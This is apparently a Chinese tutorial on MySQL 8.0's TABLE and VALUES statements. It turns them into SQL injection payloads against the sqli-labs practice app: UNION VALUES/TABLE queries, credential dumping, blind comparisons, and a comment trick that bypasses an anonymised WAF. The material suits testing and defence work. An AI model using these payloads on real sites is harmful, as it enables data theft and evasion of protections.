浅析MySQL8.0新特性利用
/0x01 MySQL 8.0环境搭建
在PHPstudy中支持的MySQL 8版本为8.0.12,但是实际利用到的新特性是在MySQL 8.0.19之后才出现的,因此需要自行搭建对应的MySQL环境。
这里就本地下载Windows最新版搭建,参考菜鸟教程进行Windows本地安装:https://www.runoob.com/mysql/mysql-install.html
接着,在my.ini文件中添加如下内容:
1 | default_authentication_plugin=mysql_native_password |
安装好运行登录之后需要修改密码:
1 | alter user 'root'@'localhost' identified by 'root'; |
最后重启MySQL服务即可:
1 | net stop mysql |
0x02 MySQL 8.0新特性
TABLE语句
用法简介
官方文档:https://dev.mysql.com/doc/refman/8.0/en/table.html
TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列。
用法:
1 | TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] |
TABLE与SELECT
TABLE语句在某些方面的行为类似于SELECT。给定存在一个名为的表t,以下两个语句将产生相同的输出:
1 | TABLE t; |
比如:
TABLE和SELECT关键区别:
TABLE始终显示表的所有列;
TABLE不允许对行进行任意过滤,也就是说,TABLE不支持任何WHERE子句;
可以通过ORDER BY和LIMIT这两各关键字实现限制返回的表列来获取指定的行。
UNION联合查询替换
TABLE可以替换UNION SELECT结构,也可以和SELECT交叉使用,注意两个table的列数必须相同:
1 | table security.users union table security.referers; |
SELECT xx INTO OUTFILE替换
可以使用TABLE替换SELECT xx INTO OUTFILE的SELECT:
1 | table security.users into outfile 'D:\\tmp\\dump.txt'; |
注意,在使用INTO OUTFILE语句的时候,MySQL会报错:
1 | ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement |
此时,输入如下sql查询语句:
1 | mysql> show global variables like '%secure_file_priv%'; |
看到secure_file_priv的值为NULL,表示限制不能导入导出。
secure_file_priv参数用于限制LOAD DATA
、SELECT xx INTO OUTFILE
、LOAD_FILE()
等:
- NULL:表示限制mysqld不允许导入或导出;
- /tmp:表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行;
- 没有值:表示不限制mysqld在任意目录的导入导出;
又因为secure_file_priv参数是只读参数,不能使用set global命令修改。
正确的解决办法是在my.ini中添加如下配置,然后重启MySQL即可:
1 | secure_file_priv='' |
现在就没问题了:
SELECT xx INTO DUMPFILE替换
和前面OUTFILE是类似的,关键区别在于:
- OUTFILE导出全部数据,DUMPFILE只能导出一行数据;
- OUTFILE在将数据写到文件里时有特殊的格式转换,而DUMPFILE则保持原数据格式;
因此,在使用DUMPFILE时需要结合limit选定指定行:
1 | table security.users limit 1 into dumpfile 'D:\\tmp\\dump.txt'; |
子查询替换
当子查询的表只有单列时,可以使用TABLE语句来替换SELECT进行子查询:
1 | select * from security.users where username in (table security.vips); |
INSERT xx SELECT替换
参考文档改下即可:
https://dev.mysql.com/doc/refman/8.0/en/insert-select.html
CREATE TABLE/VIEW xx SELECT替换
参考文档改下即可:
https://dev.mysql.com/doc/refman/8.0/en/create-table-select.html
https://dev.mysql.com/doc/refman/8.0/en/create-view.html
VALUES语句
用法简介
官方文档:https://dev.mysql.com/doc/refman/8.0/en/values.html
VALUES是MySQL 8.0.19中引入的DML语句,该语句返回一组一个或多个行作为表。换句话说,它是一个表值构造函数,还可以充当独立的SQL语句。
用法:
1 | VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number] |
该语句由VALUES关键字组成,后跟一个或多个行构造函数的列表,以逗号分隔。行构造函数由ROW()行构造子句组成,该子句的值列表包含在括号中的一个或多个标量值。值可以是任何MySQL数据类型的文字,也可以是解析为标量值的表达式。
ROW()不能为空(但提供的每个标量值可以为NULL),并且在同一条VALUES语句中的每个语句的列的数量必须相同。
简单地说,VALUES语句可以用来构造表:
1 | mysql> values row("q", 42, '2020-02-01'), row(23, "abc", 98.6), row(27.0002, "Mary Smith", '{"a": 10, "b": 25}') limit 2,1; |
从输出表的列中看到,其中有隐含命名的列column_0、column_1、 column_2等等,索引从0开始,可使用limit输出指定行。其中的列可以是混合类型。
UNION联合查询替换
根据VALUES语句构造表的特性,可以和UNION联合查询中的SELECT语句进行交叉替换使用:
1 | select * from security.users union select 1,2,3; |
0x03 在SQL注入中的利用
由前面知道,TABLE和VALUES这两个语句可用于替换UNION联合查询中的SELECT进行查询,因此这部分新特性主要针对SELECT部分的过滤进行绕过利用。
这里以sqli-labs为例。
VALUES ROW()替换ORDER BY推测列数
推测列数无需ORDER BY,直接用VALUES语句即可:
1 | ?id=0' union values row(1,2)%23 |
UNION VALUES联合查询
应用UNION VALUES语句就能直接调用数据库内置函数查询对应的信息:
1 | ?id=0' union values row(1,user(),version())%23 |
可以结合concat系列函数进行利用:
1 | ?id=0' union values row(1,null,concat_ws(char(32,58,32),user(),database(),version()))%23 |
如果WAF仅仅是过滤UNION SELECT关键字,并没有对UNION VALUES后面添加SELECT进行过滤,那么可以像正常一样利用SELECT结合concat做子查询来dump库:
1 | ?id=0' union values row(1,null,(select group_concat(concat_ws(char(32,58,32),id,username,password)) from users))%23 |
当然,也可以组合TABLE语句进行查询,注意此时TABLE语句指定的表必须是只有一列且限制只能输出一行:
1 | ?id=0' union values row(1,null,(table vips limit 0,1))%23 |
UNION TABLE联合查询
使用UNION TABLE的时候,注意两个表的列数必须相同:
1 | ?id=0' union table referers limit 0,1%23 |
盲注
利用小于号会逐个比较一行中每一列值的大小来进行盲注,当然,除了小于号、其他比较符可自行构造,如下:
1 | ?id=0' or (1,'d','') < (table users limit 1)%23 |
0x04 xx绕过
本地测试xx当前版本号为V4.0.23137。
用UNION SELECT妥妥的直接被拦截了:
使用UNION VALUES就能成功绕过:
使用UNION TABLE也能成功绕过,但要注意两个表的列数必须相同才行:
直接使用TABLE语句盲注查询,会被拦截:
关键的拦截特征在于将or与后面字符匹配到了,这里利用注释符的一个Trick来实现绕过:
1 | ?id=0' or/*!90000mmmmmmmm*/(1,'d','') < (table users limit 0,1)%23 |
盲注当然是OK的,就是注入过程比较慢,这里可以使用前面说到的UNION VALUES后面添加SELECT查询的方式来尝试,原payload当然会被拦截:
这里推测WAF过滤的关键点也是在于UNION之后以及SELECT之后的关键词正则匹配,要断开这种关键词匹配同样使用前面的Trick即可:
1 | ?id=0' union/*!90000mmmmmmmm*/values row(1,null,(select/*!90000mmmmmmmm*/group_concat(concat_ws(char(32,58,32),id,username,password)) from users))%23 |
OK,确实可以绕过xx。